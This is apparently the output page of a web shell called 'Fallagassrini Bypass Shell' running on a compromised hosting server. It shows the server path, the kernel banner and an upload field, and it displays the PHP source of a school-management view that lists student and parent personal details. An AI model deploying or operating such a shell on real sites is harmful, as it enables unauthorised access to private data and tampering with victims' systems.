? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/cocorico/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/cocorico/application/views/student/single_student.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
?>
<script type="text/javascript">
 jQuery(document).ready(function() { 
        $('.receipt_voucher').on("click",function(e){
            e.preventDefault();
            var $modal = $('<div id="payment_vouchar_div" class="modal container hide fade" tabindex="-1"></div>');         
              var fee_id = $(this).data('fee_id');           
            $.ajax({
            url : "<?= site_url('student/edit_fee') ?>/" + fee_id +"/fee/fee_id/fee_setting",
            success: function(data){
                $modal.empty().html(data);
                $modal.modal();
            }
            });
         
            }); 
              UIModals.init();
        TableManaged.init();
    });
   
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Student Details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('student','viewinstudentsearch','search_student','view_student','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <div class="form-horizontal form-view form-bordered">
                    <!-- BEGIN FORM-->
                    <?php
                    $attributes = array('id'         => 'validateform', 'class'      => 'form-horizontal validate');
                    echo form_open('student/addinstudent/update_student/view_student/1', $attributes);
                    ?>
                    <h3 class="form-section">Personal Details </h3>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Student Reg No</label>
                                <div class="controls"><span class="text bold">
                                        <?= $student->reg_no; ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">First Name</label>
                                <div class="controls">
                                    <span class="text bold"><?= $student->first_name; ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Last Name</label>
                                <div class="controls">
                                    <span class="text bold"><?= $student->last_name; ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Gender</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->gender ?></span>  
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Date of Birth </label>
                                <div class="controls">
                                    <span class="text bold">  <?= $this->mastermodel->convertdatenormalformat($student->dob) ?></span>
                                </div>
                            </div>
                        </div>

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Age</label>
                                <div class="controls">
                                    <span class="text bold">   <?php
                                        /* 'yyyy-mm-dd format' */
                                        $age_details = $this->mastermodel->getAgeDetails($student->dob);
                                        echo $age_details['in_words'];
                                        ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Admission Date </label>
                                <div class="controls">
                                    <span class="text bold"> <?= $this->mastermodel->convertdatenormalformat($student->admission_date) ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Nationality</label>
                                <div class="controls">
                                    <span class="text bold">  <?php
                                        $nationality = $this->mastermodel->getSingleFieldValue('nationality', 'nationality_name', 'nationality_id', $student->nationality_id);

                                        echo $nationality;
                                        ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Qatar ID No</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->qatar_id ?></span>    
                                </div>
                            </div>
                        </div> 
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Blood Group</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->blood_group ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Previous medical illness / Allergy</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->previous_medical_illness ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Address</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->address ?></span> 
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Photo</label>
                                <div class="controls">
                                    <img width="130" height="120" src="<?= base_url() ?>/assets/uploads/student_photo/<?= $student->photo; ?>" alt="" />
                                </div>
                            </div>
                        </div>
                         <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Remarks</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->remarks ?></span> 
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid portlet box blue" id="newparent">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Parents Details</div>

                        </div>
                        <div class="portlet-body form"  >
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Father Name</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_name ?></span>           
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Qatar ID No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_qatar_id_no ?></span>        
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Occupation</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_occupation ?></span>        
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Mobile No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_mobile_no ?></span>    
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Office No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_ofc_no ?></span>         
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Residence No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_residence_no ?></span>       
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Email ID</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_email ?></span>  
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!--                <div id="parent_box" style="list-style: none;margin: 0 auto;"></div>-->

                    <div class="row-fluid portlet box blue" id="newparent1"  >
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Parents Details</div>

                        </div>
                        <div class="portlet-body form" >
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Mother's name</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_name ?></span>     
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Qatar ID No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_qatar_id_no ?></span>        
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Occupation</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_occupation ?></span>        
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Mobile No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_mobile_no ?></span>   
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Office No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_ofc_no ?></span>       
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Residence No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_residence_no ?></span>            
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Email ID</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_email ?></span>
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Emergency Contact No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->emergency_contact_no ?></span>                
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="row-fluid portlet box blue">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Sibling Details</div>                        
                        </div>
                        <div class="portlet-body form">
                            <table class="table table-striped table-hover table-bordered" id="sample_3">
                                <tr>                   
                                    <th>Student Reg No</th>
                                    <th>Student Name</th>
                                </tr>
                                <?php
                                $sibling = $this->mastermodel->get_data('parent_student', $parent->parent_id, 'parent_id');
                                foreach ($sibling as $row)
                                {

                                    $sibling_det = $this->mastermodel->get_data_srow('student', $row['student_id'], 'student_id');
                                    if (!empty($sibling_det))
                                    {
                                        if ($student->student_id != $sibling_det->student_id)
                                        {
                                            ?>
                                            <tr>
                                                <td>
                                                    <?= $sibling_det->reg_no ?>
                                                </td>
                                                <td >
                                                    <?= $sibling_det->first_name . ' ' . $sibling_det->last_name ?>
                                                </td>


                                            </tr>
                                            <?php
                                        }
                                    }
                                }
                                ?>
                            </table>
                        </div>
                    </div>
                    <div class="row-fluid portlet box blue">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Class Allocation Details</div>                        
                        </div>
                        <div class="portlet-body form">
                            <table class="table table-striped table-hover table-bordered" id="sample_3">
                                <tr>                   
                                    <th>Class name</th>
                                    <th>Term name</th>
                                    <th>Session name</th>
                                    <th>Number of days</th>
                                    <th>Class allocation date</th>
                                </tr>
                                <?php
                                foreach ($student_class as $list)
                                {
                                    $term_name       = $this->mastermodel->get_data_srow('term', $list['term_id'], 'term_id');
                                    $session_name       = $this->mastermodel->get_data_srow('session', $list['session_id'], 'session_id');
                                    $class_name_code = $this->mastermodel->get_data_srow('class_name', $list['class_name_id'], 'class_name_id');
                                    ?>
                                    <tr>
                                        <td style="text-align: center;"><?= $class_name_code->class_name_code; ?></td>
                                        <td style="text-align: center;"><?= $term_name->term_name; ?></td>
                                        <td style="text-align: center;"><?= $session_name->session_name; ?></td>
                                        <td style="text-align: center;"><?= $list['no_of_days']; ?></td>
                                        <td style="text-align: center;"><?= $this->mastermodel->convertdatenormalformat($list['class_allocation_date']); ?></td>
                                    </tr>
                                    <?php
                                }
                                ?>
                            </table>
                        </div>
                    </div>
                    <div class="row-fluid portlet box blue">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Fee Details</div>                        
                        </div>
                        <div class="portlet-body form">
                            <table class="table table-striped table-hover table-bordered" id="sample_3">
                                <tr>                   
                                    <th>Recept number</th>
                                    <th>Fee date</th>
                                    <th>Total amount</th>
                                    <th>Remark</th>
                                   <th>Pdf</th>
                                    <th>Rv/View</th>
                                     
                                   
                                </tr>
                                <?php
                                $fee             = $this->mastermodel->get_data_joined('fee', 'student_class', 'student_class_id', 'student_class_id', $student->student_id, 'student_id');
                                if (isset($fee))
                                {
                                    foreach ($fee as $list)
                                    {
                                        ?>
                                        <tr>
                                            <td style="text-align: center;"><?= $list['fee_receipt_no'] ?></td>
                                            <td style="text-align: center;"><?= $this->mastermodel->convertdatenormalformat($list['fee_date']) ?></td>
                                            <td style="text-align: center;"><?= $list['total_amount'] ?></td>
                                            <td style="text-align: center;"><?= $list['remarks'] ?></td>
                                            
                                            <td>
                                                <?= anchor("student/feereceipt/" . $list['fee_id'], '<img src="' . base_url() . '/assets/img/pdf.png" title="PDF" width="20" height="20">', 'title="Receipt"'); ?>
                                            </td>

                                            <td>
                                                <?php
                                                if ($list['journal_id'] == 0)
                                                {
                                                    ?>
                                                <a class="receipt_voucher"  data-fee_id="<?= $list['fee_id']; ?>"id="image_icon" href="#"  >
                                    <img src="<?= base_url() ?>/assets/img/saldet.png"   title="View" width="20" height="20" alt="View Entry" align = "center"  /></a> 

                                                    <?php
                                                }
                                             else
                                                
                                                {
                                                    ?>
                                                    <img src="<?= base_url() ?>/assets/img/view-icon.png" id="editclass"   title="View" width="20" height="20" alt="View Entry" align = "center" onclick="view_fee(<?= $list['journal_id'] ?>, 'search_fee', 'view_fee')" style="cursor: pointer" class="clickimage1"  />
                                                    <?php
                                                }
                                                ?>
                                            </td> 


                                          
                                        </tr>
                                        <?php
                                    }
                                }
                                ?>
                            </table>
                        </div>
                    </div>


                    <?php
                    echo form_close();
                    ?>
                    <?php
                    $data['master_id']           = $student->student_id;
                    $data['controller']          = 'student';
                    $data['controller_function'] = 'viewinstudentsearch';
                    $data['page']                = 'view_student';
                    $data['model_function']      = 'search_student';
                    $this->load->view('master/uploaded_files', $data);
                    echo form_close();
                    ?>
                    <!-- END FORM-->    
                </div>
            </div>
        </div>
    </div>
</div>




bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net